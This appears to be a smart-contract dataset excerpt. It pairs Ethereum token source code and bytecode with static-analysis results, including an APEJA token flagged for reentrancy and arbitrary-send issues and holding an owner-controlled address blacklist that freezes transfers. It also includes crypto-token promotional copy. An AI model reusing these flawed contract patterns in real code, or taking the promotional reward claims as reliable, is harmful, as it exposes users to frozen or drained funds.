uint256 public constant INITIAL_SUPPLY = 20180722 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce567146102285780633f4ba83a146102535780635c975abb1461026a578063661884631461027f57806370a08231146102a3578063715018a6146102c45780638456cb59146102d95780638da5cb5b146102ee57806395d89b411461031f578063a9059cbb14610334578063d73dd62314610358578063dd62ed3e1461037c578063f2fde38b146103a3575b600080fd5b34801561010c57600080fd5b506101156103c4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a03600435166024356103fb565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610426565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a036004358116906024351660443561042c565b34801561021f57600080fd5b506101d7610459565b34801561023457600080fd5b5061023d610468565b6040805160ff9092168252519081900360200190f35b34801561025f57600080fd5b5061026861046d565b005b34801561027657600080fd5b506101ae6104e5565b34801561028b57600080fd5b506101ae600160a060020a03600435166024356104f5565b3480156102af57600080fd5b506101d7600160a060020a0360043516610519565b3480156102d057600080fd5b50610268610534565b3480156102e557600080fd5b506102686105a2565b3480156102fa57600080fd5b5061030361061f565b60408051600160a060020a039092168252519081900360200190f35b34801561032b57600080fd5b5061011561062e565b34801561034057600080fd5b506101ae600160a060020a0360043516602435610665565b34801561036457600080fd5b506101ae600160a060020a0360043516602435610689565b34801561038857600080fd5b506101d7600160a060020a03600435811690602435166106ad565b3480156103af57600080fd5b50610268600160a060020a03600435166106d8565b60408051808201909152600d81527f4c69204368656e67204361736800000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561041557600080fd5b61041f838361076d565b9392505050565b60015490565b60035460009060a060020a900460ff161561044657600080fd5b6104518484846107d3565b949350505050565b6a10b16f21b9785f3488000081565b601281565b600354600160a060020a0316331461048457600080fd5b60035460a060020a900460ff16151561049c57600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561050f57600080fd5b61041f838361094a565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461054b57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031633146105b957600080fd5b60035460a060020a900460ff16156105d057600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b60408051808201909152600381527f4c43480000000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561067f57600080fd5b61041f8383610a3a565b60035460009060a060020a900460ff16156106a357600080fd5b61041f8383610b1b565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a031633146106ef57600080fd5b600160a060020a038116151561070457600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000600160a060020a03831615156107ea57600080fd5b600160a060020a03841660009081526020819052604090205482111561080f57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561083f57600080fd5b600160a060020a038416600090815260208190526040902054610868908363ffffffff610bb416565b600160a060020a03808616600090815260208190526040808220939093559085168152205461089d908363ffffffff610bc616565b600160a060020a038085166000908152602081815260408083209490945591871681526002825282812033825290915220546108df908363ffffffff610bb416565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561099f57336000908152600260209081526040808320600160a060020a03881684529091528120556109d4565b6109af818463ffffffff610bb416565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000600160a060020a0383161515610a5157600080fd5b33600090815260208190526040902054821115610a6d57600080fd5b33600090815260208190526040902054610a8d908363ffffffff610bb416565b3360009081526020819052604080822092909255600160a060020a03851681522054610abf908363ffffffff610bc616565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610b4f908363ffffffff610bc616565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600082821115610bc057fe5b50900390565b81810182811015610bd357fe5b929150505600a165627a7a723058207fdaf21304f61b5bc73fbc16c77892934ebb681b613a38c322ef299b7cd7554b0029
|
{"success": true, "error": null, "results": {}}
| 6,232 |
0x79d9d61110d571561c4fcba9cd067f0e0cbcfa27
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
//SPDX-License-Identifier: UNLICENSED
/*
Telegram: https://t.me/apejaeth
█████ ██████ ███████ ██ █████
██ ██ ██ ██ ██ ██ ██ ██
███████ ██████ █████ ██ ███████
██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ███████ █████ ██ ██
Telegram: https://t.me/apejaeth
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract APEJA is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Apeja";
string public constant symbol = unicode"APEJA";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint private _feeRate = 15;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
uint burnAmount = contractTokenBalance/4;
contractTokenBalance -= burnAmount;
burnToken(burnAmount);
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function burnToken(uint burnAmount) private lockTheSwap{
if(burnAmount > 0){
_transfer(address(this), address(0xdead),burnAmount);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function StartContract() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function StartTrade() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxHeldTokens = 20000000000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0, "can't be zero");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
require(buy < _buyFee && sell < _sellFee);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function setBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeCollectionADD);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
}
|
0x6080604052600436106101dc5760003560e01c80636fc3eaec11610102578063b2289c6211610095578063db92dbb611610064578063db92dbb61461056f578063dcb0e0ad14610584578063dd62ed3e146105a4578063f7c58b8e146105ea57600080fd5b8063b2289c6214610505578063b2c5fa5f14610525578063b515566a1461053a578063c3c8cd801461055a57600080fd5b80638da5cb5b116100d15780638da5cb5b1461047657806394b8d8f21461049457806395d89b41146104b4578063a9059cbb146104e557600080fd5b80636fc3eaec1461040c57806370a0823114610421578063715018a61461044157806373f54a111461045657600080fd5b8063313ce5671161017a57806340b9a54b1161014957806340b9a54b1461038857806345596e2e1461039e57806349bd5a5e146103be578063590f897e146103f657600080fd5b8063313ce567146102f257806331c2d8471461031957806332d873d8146103395780633bbac5791461034f57600080fd5b806318160ddd116101b657806318160ddd146102815780631940d020146102a757806323b872dd146102bd57806327f3a72a146102dd57600080fd5b806306fdde03146101e8578063095ea7b31461022f5780630b78f9c01461025f57600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50610219604051806040016040528060058152602001644170656a6160d81b81525081565b6040516102269190611789565b60405180910390f35b34801561023b57600080fd5b5061024f61024a366004611803565b6105ff565b6040519015158152602001610226565b34801561026b57600080fd5b5061027f61027a36600461182f565b610615565b005b34801561028d57600080fd5b50683635c9adc5dea000005b604051908152602001610226565b3480156102b357600080fd5b50610299600c5481565b3480156102c957600080fd5b5061024f6102d8366004611851565b6106aa565b3480156102e957600080fd5b506102996106fe565b3480156102fe57600080fd5b50610307600981565b60405160ff9091168152602001610226565b34801561032557600080fd5b5061027f6103343660046118a8565b61070e565b34801561034557600080fd5b50610299600d5481565b34801561035b57600080fd5b5061024f61036a36600461196d565b6001600160a01b031660009081526005602052604090205460ff1690565b34801561039457600080fd5b5061029960095481565b3480156103aa57600080fd5b5061027f6103b936600461198a565b61079a565b3480156103ca57600080fd5b506008546103de906001600160a01b031681565b6040516001600160a01b039091168152602001610226565b34801561040257600080fd5b50610299600a5481565b34801561041857600080fd5b5061027f610860565b34801561042d57600080fd5b5061029961043c36600461196d565b61086d565b34801561044d57600080fd5b5061027f610888565b34801561046257600080fd5b5061027f61047136600461196d565b6108fc565b34801561048257600080fd5b506000546001600160a01b03166103de565b3480156104a057600080fd5b50600e5461024f9062010000900460ff1681565b3480156104c057600080fd5b50610219604051806040016040528060058152602001644150454a4160d81b81525081565b3480156104f157600080fd5b5061024f610500366004611803565b61096a565b34801561051157600080fd5b506007546103de906001600160a01b031681565b34801561053157600080fd5b5061027f610977565b34801561054657600080fd5b5061027f6105553660046118a8565b610b6b565b34801561056657600080fd5b5061027f610c84565b34801561057b57600080fd5b50610299610c9a565b34801561059057600080fd5b5061027f61059f3660046119b1565b610cb2565b3480156105b057600080fd5b506102996105bf3660046119ce565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105f657600080fd5b5061027f610d2f565b600061060c338484610f34565b50600192915050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161063f90611a07565b60405180910390fd5b6009548210801561065a5750600a5481105b61066357600080fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106b7848484611058565b6001600160a01b03841660009081526003602090815260408083203384529091528120546106e6908490611a52565b90506106f3853383610f34565b506001949350505050565b60006107093061086d565b905090565b6007546001600160a01b0316336001600160a01b03161461072e57600080fd5b60005b81518110156107965760006005600084848151811061075257610752611a69565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061078e81611a7f565b915050610731565b5050565b6000546001600160a01b031633146107c45760405162461bcd60e51b815260040161063f90611a07565b6007546001600160a01b0316336001600160a01b0316146107e457600080fd5b600081116108245760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b604482015260640161063f565b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b4761086a81611426565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161063f90611a07565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461091c57600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610855565b600061060c338484611058565b6000546001600160a01b031633146109a15760405162461bcd60e51b815260040161063f90611a07565b600e5460ff16156109ee5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b600654610a0f9030906001600160a01b0316683635c9adc5dea00000610f34565b6006546001600160a01b031663f305d7194730610a2b8161086d565b600080610a406000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610acd9190611a9a565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b26573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4a9190611ac8565b50600e805460ff1916600117905542600d556801158e460913d00000600c55565b6000546001600160a01b03163314610b955760405162461bcd60e51b815260040161063f90611a07565b60005b81518110156107965760085482516001600160a01b0390911690839083908110610bc457610bc4611a69565b60200260200101516001600160a01b031614158015610c15575060065482516001600160a01b0390911690839083908110610c0157610c01611a69565b60200260200101516001600160a01b031614155b15610c7257600160056000848481518110610c3257610c32611a69565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610c7c81611a7f565b915050610b98565b6000610c8f3061086d565b905061086a81611460565b600854600090610709906001600160a01b031661086d565b6000546001600160a01b03163314610cdc5760405162461bcd60e51b815260040161063f90611a07565b600e805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610855565b6000546001600160a01b03163314610d595760405162461bcd60e51b815260040161063f90611a07565b600e5460ff1615610da65760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161063f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e0b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2f9190611ae5565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea09190611ae5565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610eed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f119190611ae5565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610f965760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063f565b6001600160a01b038216610ff75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561107e57600080fd5b6001600160a01b0383166110e25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063f565b6001600160a01b0382166111445760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063f565b600081116111a65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063f565b600080546001600160a01b038581169116148015906111d357506000546001600160a01b03848116911614155b156113c7576008546001600160a01b03858116911614801561120357506006546001600160a01b03848116911614155b801561122857506001600160a01b03831660009081526004602052604090205460ff16155b156112ba57600e5460ff1661127f5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161063f565b42600d5460b461128f9190611b02565b11156112b657600c546112a18461086d565b6112ab9084611b02565b11156112b657600080fd5b5060015b600e54610100900460ff161580156112d45750600e5460ff165b80156112ee57506008546001600160a01b03858116911614155b156113c75760006112fe3061086d565b905080156113b057600e5462010000900460ff161561138157600b5460085460649190611333906001600160a01b031661086d565b61133d9190611b1a565b6113479190611b39565b81111561138157600b546008546064919061136a906001600160a01b031661086d565b6113749190611b1a565b61137e9190611b39565b90505b600061138e600483611b39565b905061139a8183611a52565b91506113a5816115d4565b6113ae82611460565b505b4780156113c0576113c047611426565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061140957506001600160a01b03841660009081526004602052604090205460ff165b15611412575060005b61141f8585858486611604565b5050505050565b6007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610796573d6000803e3d6000fd5b600e805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114a4576114a4611a69565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115219190611ae5565b8160018151811061153457611534611a69565b6001600160a01b03928316602091820292909201015260065461155a9130911684610f34565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611593908590600090869030904290600401611b5b565b600060405180830381600087803b1580156115ad57600080fd5b505af11580156115c1573d6000803e3d6000fd5b5050600e805461ff001916905550505050565b600e805461ff00191661010017905580156115f6576115f63061dead83611058565b50600e805461ff0019169055565b60006116108383611626565b905061161e8686868461164a565b505050505050565b600080831561164357821561163e5750600954611643565b50600a545b9392505050565b6000806116578484611727565b6001600160a01b0388166000908152600260205260409020549193509150611680908590611a52565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546116b0908390611b02565b6001600160a01b0386166000908152600260205260409020556116d28161175b565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161171791815260200190565b60405180910390a3505050505050565b6000808060646117378587611b1a565b6117419190611b39565b9050600061174f8287611a52565b96919550909350505050565b30600090815260026020526040902054611776908290611b02565b3060009081526002602052604090205550565b600060208083528351808285015260005b818110156117b65785810183015185820160400152820161179a565b818111156117c8576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461086a57600080fd5b80356117fe816117de565b919050565b6000806040838503121561181657600080fd5b8235611821816117de565b946020939093013593505050565b6000806040838503121561184257600080fd5b50508035926020909101359150565b60008060006060848603121561186657600080fd5b8335611871816117de565b92506020840135611881816117de565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118bb57600080fd5b823567ffffffffffffffff808211156118d357600080fd5b818501915085601f8301126118e757600080fd5b8135818111156118f9576118f9611892565b8060051b604051601f19603f8301168101818110858211171561191e5761191e611892565b60405291825284820192508381018501918883111561193c57600080fd5b938501935b8285101561196157611952856117f3565b84529385019392850192611941565b98975050505050505050565b60006020828403121561197f57600080fd5b8135611643816117de565b60006020828403121561199c57600080fd5b5035919050565b801515811461086a57600080fd5b6000602082840312156119c357600080fd5b8135611643816119a3565b600080604083850312156119e157600080fd5b82356119ec816117de565b915060208301356119fc816117de565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600082821015611a6457611a64611a3c565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611a9357611a93611a3c565b5060010190565b600080600060608486031215611aaf57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611ada57600080fd5b8151611643816119a3565b600060208284031215611af757600080fd5b8151611643816117de565b60008219821115611b1557611b15611a3c565b500190565b6000816000190483118215151615611b3457611b34611a3c565b500290565b600082611b5657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bab5784516001600160a01b031683529383019391830191600101611b86565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212202209f826359fb92de79cc27162b153b96130432cd5b56b132dc8a92ad5b963c464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,233 |
0x2df816710cd7ed473718bf0da9a8fdc4e982a130
|
/**
*Submitted for verification at Etherscan.io on 2022-02-04
*/
/*
We all know the same old crowdfunding sites: Kickstarter, GoFundMe, SeedInvest, Fundly,
the list goes on and on. Sure, they all raise money for visionary products, or people with
stacks and stacks of medical bills, or even donate to charitable organizations. But do any
of them incorporate a decentralized token that also gives back to the investors?
The answer: No, they don't. But we do.
Our team of experienced crypto veterans have come up with a new ERC-20 token that will
not only give back to its holders, but it will fund the dreams of entrepreneurs as well.
We're working with visionaries and innovators who have brilliant ideas, but lack the
funding to get there. That's where we — and you — come in.
We're starting with just one project from someone we've been working closely with, as we
get our legs under us and get this token off the ground. Once this first project is fully
funded, we'll bring in the next project and run with that until it's funded as well. You
get the picture.
As an investor of $CROWD, you'll not only help a budding entrepreneur realize their
dreams, but you'll receive reflections from the token, as well as rewards from the
product itself. Depending on how many $CROWD tokens you hold, you'll be placed in a tier
that will unlock different rewards from each project that we finance. You'll need to hold
at least 50,000 tokens to be eligible for the reward tiers, and the kickbacks only get
better the higher you go.
What are you waiting for? Let's all make it... together!
Twitter: https://twitter.com/CryptoCrowdDefi
Website: https://www.cryptocrowd.link/
Telegram: https://t.me/CryptoCrowd_DeFi
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
